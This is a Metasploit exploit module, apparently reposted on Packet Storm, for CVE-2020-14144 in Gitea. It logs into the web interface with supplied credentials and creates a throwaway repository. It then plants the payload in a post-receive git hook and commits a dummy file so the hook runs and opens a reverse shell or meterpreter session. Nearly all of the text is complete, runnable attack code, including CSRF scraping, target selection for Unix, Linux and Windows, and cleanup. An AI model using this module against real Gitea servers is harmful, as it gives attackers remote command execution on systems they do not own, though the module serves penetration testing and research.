Gitea Git Hooks Remote Code Execution ≈ Packet Storm

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Hooks Remote Code Execution',
'Description' => %q{
This module leverages an insecure setting to get remote code
execution on the target OS in the context of the user running Gitea.
This is possible when the current user is allowed to create `git
hooks`, which is the default for administrative users. For
non-administrative users, the permission needs to be specifically
granted by an administrator.

To achieve code execution, the module authenticates to the Gitea web
interface, creates a temporary repository, sets a `post-receive` git
hook with the payload and creates a dummy file in the repository.
This last action will trigger the git hook and execute the payload.
Everything is done through the web interface.

It has been mitigated in version 1.13.0 by setting the Gitea
`DISABLE_GIT_HOOKS` configuration setting to `true` by default. This
disables this feature and prevents all users (including admin) from
creating custom git hooks.

This module has been tested successfully against docker versions 1.12.5,
1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on
version 1.12.6 on Windows.
},
'Author' => [
'Podalirius', # Original PoC
'Christophe De La Fuente' # MSF Module
],
'References' => [
['CVE', '2020-14144'],
['EDB', '49571'],
['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],
['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
],
'DisclosureDate' => '2020-10-07',
'License' => MSF_LICENSE,
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options([
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
])

@need_cleanup = false
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end

# Powered by Gitea Version: 1.12.5
unless (match = res.body.match(/Powered by Gitea Version: (?<version>[\d.]+)/))
return CheckCode::Unsupported('Target does not appear to be running Gitea.')
end

if Rex::Version.new(match[:version]) >= Rex::Version.new('1.13.0')
print_warning(
'This version of Gitea has the "DISABLE_GIT_HOOKS" option set to true '\
'by default. This prevents all users (including admin) from creating '\
'custom git hooks. This exploit might not work if this option is still '\
'set to the default value.'
)
end
CheckCode::Appears("Gitea version is #{match[:version]}")
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
gitea_login
print_good('Logged in')

@repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
print_status("Create repository \"#{@repo_name}\"")
gitea_create_repo
@need_cleanup = true
print_good('Repository created')

case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
execute_cmdstager(background: true, delay: 1)
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

print_status('Setup post-receive hook with command')
gitea_post_receive_hook(cmd)
print_good('Git hook setup')

print_status('Create a dummy file on the repo to trigger the payload')
last_chunk = cmd_list ? cmd == cmd_list.last : true
gitea_create_file(last_chunk: last_chunk)
print_good("File created#{', shell incoming...' if last_chunk}")
end

def http_post_request(uri, opts = {})
csrf = opts.delete(:csrf) || get_csrf(uri)
timeout = opts.delete(:timeout) || 20

post_data = { _csrf: csrf }.merge(opts)
request_hash = {
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], uri),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => post_data
}

send_request_cgi(request_hash, timeout)
end

def get_csrf(uri)
vprint_status('Get "csrf" value')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri)
)
unless res
fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
end

csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
csrf
end

def extract_value(res, attr)
# <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
# <input type="hidden" id="uid" name="uid" value="2" required>
# <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
end

return match[:value]
end

def gitea_login
res = http_post_request(
'/user/login',
user_name: datastore['USERNAME'],
password: datastore['PASSWORD']
)
unless res
fail_with(Failure::Unreachable, 'Unable to reach the login page')
end

unless res.code == 302
fail_with(Failure::NoAccess, 'Login failed')
end

nil
end

def gitea_create_repo
uri = normalize_uri(datastore['TARGETURI'], '/repo/create')

res = send_request_cgi('method' => 'GET', 'uri' => uri)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end

vprint_status('Get "csrf" and "uid" values')
csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
uid = extract_value(res, 'uid')
vprint_good("uid=#{uid}")

res = http_post_request(
uri,
uid: uid,
repo_name: @repo_name,
private: 'on',
description: '',
repo_template: '',
issue_labels: '',
gitignores: '',
license: '',
readme: 'Default',
auto_init: 'on',
default_branch: 'master',
csrf: csrf
)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end

unless res.code == 302
fail_with(Failure::UnexpectedReply, 'Create repository failure')
end

nil
end

def gitea_post_receive_hook(cmd)
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
shell = <<~SHELL
#!/bin/bash
#{cmd}&
exit 0
SHELL

res = http_post_request(uri, content: shell)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end

unless res.code == 302
msg = 'Post-receive hook creation failure'
if res.code == 404
msg << ' (user is probably not allowed to create Git Hooks)'
end
fail_with(Failure::UnexpectedReply, msg)
end

nil
end

def gitea_create_file(last_chunk: false)
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"

res = send_request_cgi('method' => 'GET', 'uri' => uri)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end

vprint_status('Get "csrf" and "last_commit" values')
csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
last_commit = extract_value(res, 'last_commit')
vprint_good("last_commit=#{last_commit}")

http_post_request(
uri,
last_commit: last_commit,
tree_path: filename,
content: Rex::Text.rand_text_alpha(1..20),
commit_summary: '',
commit_message: '',
commit_choice: 'direct',
csrf: csrf,
timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
)
vprint_status("#{filename} created")

nil
end

# Hook the HTTP client method to add specific cookie management logic
def send_request_cgi(opts, timeout = 20)
res = super

return unless res

# HTTP client does not handle cookies with the same name correctly. It adds
# them instead of substituing the old value with the new one.
unless res.get_cookies.empty?
cookie_jar_hash = cookie_jar_to_hash
cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))
cookie_jar_hash.merge!(cookies_from_response)
cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|
set << "#{cookie[0]}=#{cookie[1]}"
end
cookie_jar.clear
cookie_jar.merge(cookie_jar_updated)
end

res
end

def cookie_jar_to_hash(jar = cookie_jar)
jar.each_with_object({}) do |cookie, cookie_hash|
name, value = cookie.split('=')
cookie_hash[name] = value
end
end

def cleanup
super
return unless @need_cleanup

print_status('Cleaning up')
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
res = http_post_request(uri, action: 'delete', repo_name: @repo_name)

unless res
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
end

unless res.code == 302
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
end

print_status("Repository #{@repo_name} deleted.")

nil
end
end